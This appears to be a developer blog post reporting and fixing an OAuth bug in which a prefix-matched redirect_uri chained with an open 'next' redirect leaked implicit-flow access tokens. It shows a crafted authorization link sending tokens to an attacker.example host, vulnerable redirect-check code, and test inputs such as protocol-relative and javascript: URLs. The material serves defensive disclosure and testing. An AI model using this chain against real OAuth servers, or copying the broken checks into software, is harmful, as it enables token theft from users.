Security Bug Report

OAuth token leak via prefix-matched redirect_uri and an open redirect in next

Our partner OAuth server matched redirect_uri by prefix, and our login page followed any next URL. Chained together with a legacy implicit flow, an access token could land on an outside domain. We moved to exact matching, relative-only next and code plus PKCE.

Daniel Tran Daniel Tran @fun_dev · September 09, 2025 · 8 min read · 23 Views
Banner: OAuth token leak via prefix-matched redirect_uri and an open redirect in the next parameter

We run a merchant dashboard for card payments, and partners (accounting tools, shop plugins) connect to merchant accounts through our OAuth 2.0 authorization server. During a bug bounty triage in August, a researcher sent a report titled "access token delivered to attacker origin" with a single crafted link. When a logged-in merchant opened it, their browser ended up on a page outside our domain with a fragment like this in the address bar:

https://collector.attacker.example/#access_token=eyJhbGciOi...&token_type=Bearer&expires_in=3600&scope=payouts.read

The token had payouts.read scope for that merchant. The report was valid. No other parties had used the chain as far as our logs could tell, but the impact was obvious: anyone who got a merchant to click a link could read their payout history for an hour.

Reproducing it

The link was an authorization request for a legacy partner client that still used the implicit flow:

https://auth.example.com/oauth/authorize
  ?client_id=legacy-widget
  &response_type=token
  &redirect_uri=https://dashboard.example.com/login?next=//collector.attacker.example/
  &scope=payouts.read

Step by step in a test tenant:

  1. The authorization server compared redirect_uri with the registered value https://dashboard.example.com/ using startsWith. It matched.
  2. The merchant was already signed in and had previously approved the widget, so consent was skipped and the server redirected to the redirect_uri with the token in the fragment.
  3. Our login page saw an authenticated session and redirected to the next value, //collector.attacker.example/.
  4. The browser carried the fragment across that second redirect, so the attacker's page could read it from location.hash.

What we ruled out

  • A stolen session cookie. The session cookie is HttpOnly and SameSite=Lax, and nothing in the chain read it. The token was minted legitimately and handed over by the redirects.
  • A compromised partner. The legacy-widget client secret was not involved; the implicit flow does not use one.
  • XSS on the dashboard. No script ran on our origin. Both redirects were plain HTTP 302s.

Root cause

Two independent weaknesses, each rated "low" on its own when we had looked at them separately:

  1. The authorization server validated redirect_uri by string prefix instead of exact match.
  2. The login page's next handler accepted protocol-relative URLs (//host/...), because the check only rejected values starting with http: or https:.

The legacy implicit flow turned the combination into token theft, because fragments survive redirects.

What is happening under the hood

When a server answers with a 3xx and the Location header has no fragment, the browser keeps the fragment from the original URL (RFC 9110, section 10.2.2). The implicit flow returns tokens in the fragment precisely so they are not sent to servers, but an open redirect on the client's registered origin forwards that fragment to any site the attacker chooses.

//collector.attacker.example/ is a valid relative reference that inherits the scheme from the current page. Many "is this URL local" checks look for a scheme and miss it. Variants like /\collector.attacker.example are also treated as hosts by browsers, which normalise the backslash.

The OAuth 2.0 Security Best Current Practice (RFC 9700) addresses exactly this: authorization servers must use exact string matching for redirect URIs (with a narrow exception for localhost ports in native apps), clients and authorization servers must not expose open redirectors, and the implicit grant should not be used.

Environment

Component Version / value
OS Ubuntu 24.04 LTS containers
Runtime Node.js 22.18
Framework Express 5.1
Authorization server In-house, built on Express and jose 6
Affected client legacy-widget (public client, implicit flow)
Other clients 41 partner clients using authorization code

Minimal reproduction

// Authorization server: BROKEN redirect check
function isAllowedRedirect(client: Client, uri: string) {
  return client.redirectUris.some((registered) => uri.startsWith(registered));
}

// Dashboard login: BROKEN next handling
app.get('/login', (req, res) => {
  const next = String(req.query.next ?? '/');
  if (req.session.userId) {
    if (/^https?:/i.test(next)) return res.redirect('/');
    return res.redirect(next); // "//attacker.example/" passes
  }
  res.render('login', { next });
});

Who is affected

Any OAuth or OIDC deployment that does partial matching of redirect URIs (prefix, wildcard subdomains, regexes) and any web app with a post-login next, returnTo or continue parameter. The fragment variant needs the implicit flow or response_mode=fragment; with the code flow, the same chain can still leak a code through a redirect, which PKCE then makes useless to the thief.

The fix

1. Exact redirect URI matching. Registered URIs are now stored normalised and compared as exact strings. Partners register every callback explicitly.

function isAllowedRedirect(client: Client, uri: string): boolean {
  return client.redirectUris.includes(uri);
}

We migrated 41 clients by exporting the distinct redirect_uri values each had used in the last 180 days and registering those, then emailing partners two weeks before enforcement.

2. Retire the implicit flow. legacy-widget moved to authorization code with PKCE. The authorization server now rejects response_type=token for every client and requires code_challenge_method=S256 for public clients.

if (req.query.response_type !== 'code') {
  return oauthError(res, 'unsupported_response_type');
}
if (client.type === 'public' && req.query.code_challenge_method !== 'S256') {
  return oauthError(res, 'invalid_request', 'PKCE with S256 is required');
}

3. Relative-path-only next. We parse the value against our own origin and accept it only if the origin is unchanged and it is a plain path:

const APP_ORIGIN = 'https://dashboard.example.com';

export function safeNext(raw: unknown, fallback = '/'): string {
  if (typeof raw !== 'string' || raw.length > 2048) return fallback;
  if (!raw.startsWith('/') || raw.startsWith('//') || raw.includes('\\')) return fallback;
  let url: URL;
  try {
    url = new URL(raw, APP_ORIGIN);
  } catch {
    return fallback;
  }
  if (url.origin !== APP_ORIGIN) return fallback;
  return url.pathname + url.search + url.hash;
}
- if (/^https?:/i.test(next)) return res.redirect('/');
- return res.redirect(next);
+ return res.redirect(safeNext(req.query.next));

4. Bind state to the session. Clients we control now generate a random state, store it in the session and compare it on return, and our partner guide requires the same.

Alternatives and trade-offs

  • Allowlist of next destinations (named routes like payouts, settings) instead of paths. Stricter and simpler to reason about; we use it for emails, where links are generated by us.
  • Keep prefix matching but require a path boundary. Still fragile: query strings, encoded characters and path tricks keep finding new edges. RFC 9700 says exact match for a reason.
  • Interstitial "you are leaving" page for external links. Useful elsewhere, but it does not stop fragment carry-over if the page itself redirects.

How to test the fix

import { describe, it, expect } from 'vitest';
import { safeNext } from './safe-next';

describe('safeNext', () => {
  it.each([
    ['//attacker.example/', '/'],
    ['/\\attacker.example', '/'],
    ['https://attacker.example', '/'],
    ['javascript:alert(1)', '/'],
    ['%2F%2Fattacker.example', '/'],
    ['/payouts?page=2', '/payouts?page=2'],
  ])('%s -> %s', (input, expected) => {
    expect(safeNext(input)).toBe(expected);
  });
});

An integration test drives the authorization endpoint with a redirect_uri that adds a path or a query to a registered URI and expects invalid_request without any redirect:

curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' \
  'https://auth.staging.example.com/oauth/authorize?client_id=acme-books&response_type=code&redirect_uri=https%3A%2F%2Facme.example%2Fcb%3Fx%3D1&code_challenge=abc&code_challenge_method=S256'
# expected: 400 with an empty redirect_url

Confirming in production

  • The researcher's original link now stops at the authorization server with an error page; no redirect is issued.
  • Authorization server logs show redirect_uri_mismatch errors from three partners on enforcement day; all were fixed within 48 hours after we shared their exact failing values.
  • response_type=token requests dropped to zero after the widget release; the 312 attempts in the following week came from cached old widget bundles and were all rejected.
  • Searching 12 months of logs for authorize requests whose redirect_uri did not exactly equal a registered value found 19, all from the researcher's test accounts.

Regression guard

  • The safeNext table test and the redirect URI tests run in CI.
  • A lint rule bans res.redirect(req.query.*) and res.redirect(req.body.*) without passing through safeNext.
  • The client registration API rejects wildcard characters and requires https (except loopback for native apps).

Security implications

This was a token leakage bug with real impact for merchants who clicked a crafted link. The fixes reduce attack surface on both sides: the authorization server no longer hands tokens to unregistered URIs, the dashboard no longer acts as an open redirector, and PKCE makes an intercepted code unredeemable. We revoked all tokens issued to legacy-widget during the exposure window as a precaution.

Prevention checklist

  • Match redirect URIs exactly; no prefixes, wildcards or regexes.
  • Use authorization code with PKCE for every client; disable the implicit grant.
  • Validate post-login destinations as same-origin relative paths, with tests for // and \.
  • Review "low" findings as chains, not in isolation.
  • Bind state to the user's session and verify it.

References

Add a label

#nodejs #oauth2 #open-redirect #pkce #express
Written by
Daniel Tran @fun_dev

I have spent most of my career on the side of software that pages people at night: payment integrations, web platforms with real traffic, CI/CD pipelines, Kubernetes clusters and the databases underneath them. Somewhere along the way I started keeping a notebook of every bug that cost more than an hour — the exact error, what we ruled out, the real root cause and how we proved the fix. Hibug is where those notes live. Every post follows the same path: Investigate, Explain, Fix, Verify — with the environment spelled out, the fix tested, and the security angle checked.

Advertisement

Comments

0

No comments yet. Be the first to comment!

Sign In to post a comment.